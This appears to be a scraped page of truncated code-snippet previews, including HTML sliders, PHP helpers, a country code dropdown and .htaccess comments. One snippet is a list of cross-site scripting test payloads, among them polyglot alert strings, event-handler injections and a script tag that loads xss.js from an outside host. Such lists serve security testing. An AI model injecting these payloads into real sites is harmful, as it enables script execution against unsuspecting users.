Drag and drop form building with jQuery formBuiler.
A Pen by Mohammad Prince on CodePen.
<div class="blog-slider"> | |
<div class="blog-slider__wrp swiper-wrapper"> | |
<div class="blog-slider__item swiper-slide"> | |
<div class="blog-slider__img"> | |
<img src="https://res.cloudinary.com/muhammederdem/image/upload/v1535759872/kuldar-kalvik-799168-unsplash.jpg" alt=""> | |
</div> | |
<div class="blog-slider__content"> | |
<span class="blog-slider__code">26 December 2019</span> | |
<div class="blog-slider__title">Lorem Ipsum Dolor</div> |
Drag and drop form building with jQuery formBuiler.
A Pen by Mohammad Prince on CodePen.
Forked from Alejandro Zalazar's Pen Clone of Flappy Bird.
Forked from Alejandro Zalazar's Pen Clone of Flappy Bird.
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
A Google Translate embedded widget. Restyled using CSS and jQuery.
A Pen by Jay Holtslander on CodePen.
<?php | |
// Converts a number into a short version, eg: 1000 -> 1k | |
// Based on: http://stackoverflow.com/a/4371114 | |
function number_format_short( $n, $precision = 1 ) { | |
if ($n < 900) { | |
// 0 - 900 | |
$n_format = number_format($n, $precision); | |
$suffix = ''; | |
} else if ($n < 900000) { |
<!-- country codes (ISO 3166) and Dial codes. --> | |
<select name="countryCode" id=""> | |
<option data-countryCode="GB" value="44" Selected>UK (+44)</option> | |
<option data-countryCode="US" value="1">USA (+1)</option> | |
<optgroup label="Other countries"> | |
<option data-countryCode="DZ" value="213">Algeria (+213)</option> | |
<option data-countryCode="AD" value="376">Andorra (+376)</option> | |
<option data-countryCode="AO" value="244">Angola (+244)</option> | |
<option data-countryCode="AI" value="1264">Anguilla (+1264)</option> | |
<option data-countryCode="AG" value="1268">Antigua & Barbuda (+1268)</option> |
# Apache configuration file | |
# httpd.apache.org/docs/2.2/mod/quickreference.html | |
# Note .htaccess files are an overhead, this logic should be in your Apache | |
# config if possible: httpd.apache.org/docs/2.2/howto/htaccess.html | |
# Techniques in here adapted from all over, including: | |
# Kroc Camen: camendesign.com/.htaccess | |
# perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/ | |
# Sample .htaccess file of CMS MODx: modxcms.com |
<?php | |
namespace App\Services; | |
class ModelChunkService | |
{ | |
const INITIALIZED = 'initialized'; | |
public function initializeModelChunk(array $chunk) | |
{ | |
return $chunk['_value'] = $this->parseModel($chunk['_response'], $chunk['_value'], $chunk['_status'] = self::INITIALIZED); | |
} | |
protected function parseModel($response, $value) |